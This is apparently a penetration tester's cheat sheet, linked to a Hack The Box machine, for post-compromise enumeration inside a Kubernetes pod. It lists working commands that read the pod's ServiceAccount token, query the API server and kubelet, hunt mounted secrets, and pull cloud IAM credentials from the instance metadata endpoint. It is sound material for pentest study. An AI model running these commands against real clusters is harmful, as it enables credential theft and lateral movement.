đź§  Linux Enumeration - Kubernetes Pod

What is it?

  • Concept: Once Linux Enumeration - General and its container-detection checks confirm you’re inside a Kubernetes Pod (not plain Docker), the orchestration layer opens up an entirely different enumeration surface: the Kubernetes API server itself, RBAC permissions attached to the pod’s ServiceAccount, cluster-internal service discovery, and pod-level escape settings (hostPID/hostNetwork/hostPath) that don’t exist outside K8s.

Exploitation

1. ServiceAccount Token Usage

Goal: Turn the token Linux Enumeration - General found at /var/run/secrets/kubernetes.io/serviceaccount/ into actual API access — this is the single most valuable artifact in a pod.

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
 
## The API server is always reachable at this in-cluster DNS name/env combo:
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods

2. RBAC Permission Enumeration

Goal: Find out what the current ServiceAccount is actually authorized to do — the token is only as useful as its bound Role/ClusterRole.

## If kubectl happens to be present in the image:
kubectl auth can-i --list --token=$TOKEN
 
## Native alternative — ask the SelfSubjectAccessReview API directly:
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -X POST https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -d '{"kind":"SelfSubjectAccessReview","apiVersion":"authorization.k8s.io/v1","spec":{"resourceAttributes":{"namespace":"'"$NAMESPACE"'","verb":"list","resource":"secrets"}}}'

3. Secrets, ConfigMaps & the Downward API

Goal: Kubernetes injects far more than the ServiceAccount token into a pod — hunt for everything else it mounted or projected.

## Any additional Secret/ConfigMap volumes beyond the default ServiceAccount one:
mount | grep -i secret
ls -la /etc/podinfo 2>/dev/null              # common mountPath for a Downward API volume (labels/annotations/resource limits)
cat /etc/podinfo/* 2>/dev/null
 
## Env vars K8s auto-injects for every Service in the namespace at pod start (legacy-link style, always present):
env | grep -E "_SERVICE_HOST|_SERVICE_PORT"

4. Cluster-Internal Service Discovery

Goal: Map out what else exists in the cluster using Kubernetes’ own DNS, without needing broad RBAC permissions.

cat /etc/resolv.conf                          # confirms the *.svc.cluster.local search domain (already flagged in Linux Enumeration - General)
nslookup kubernetes.default.svc.cluster.local # the API server itself always resolves here
nslookup kube-dns.kube-system.svc.cluster.local
 
## Brute-force guessing common service names in-namespace:
for svc in api database redis mysql postgres backend frontend; do
  getent hosts $svc.$NAMESPACE.svc.cluster.local
done

5. Node & Cloud Metadata Reachability

Goal: A pod’s network namespace is still routed through the underlying Node, so host-level and cloud-provider metadata endpoints may be directly reachable — a common pivot in managed clusters (EKS/GKE/AKS).

## Kubelet API on the Node (often unauthenticated or token-authenticated, read-only port historically 10255, secure port 10250):
curl -sk https://<node-ip>:10250/pods
 
## Cloud instance metadata service — frequently reachable from a pod unless explicitly firewalled off:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/     # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/  # GCP

6. Pod Escape Indicators

Goal: Certain Pod spec settings remove the isolation Kubernetes normally provides — check for their symptoms from inside the pod.

## hostPID: pod sees the Node's full process list, not just its own container's
ps aux | wc -l                       # a suspiciously large number of unrelated processes suggests hostPID: true
 
## hostNetwork: pod shares the Node's network namespace directly
ip a                                 # interface names/IPs matching the Node itself (rather than a pod-only veth/eth0) indicate hostNetwork: true
 
## hostPath: a Node filesystem path mounted straight into the pod
cat /proc/1/mountinfo | grep -v "overlay\|tmpfs\|proc\|sysfs\|cgroup"
## any remaining mount whose source isn't container-internal is worth investigating as a potential Node filesystem escape
FileCreated
HTB - GiveBackThursday, February 5th 2026, 2:32:13 am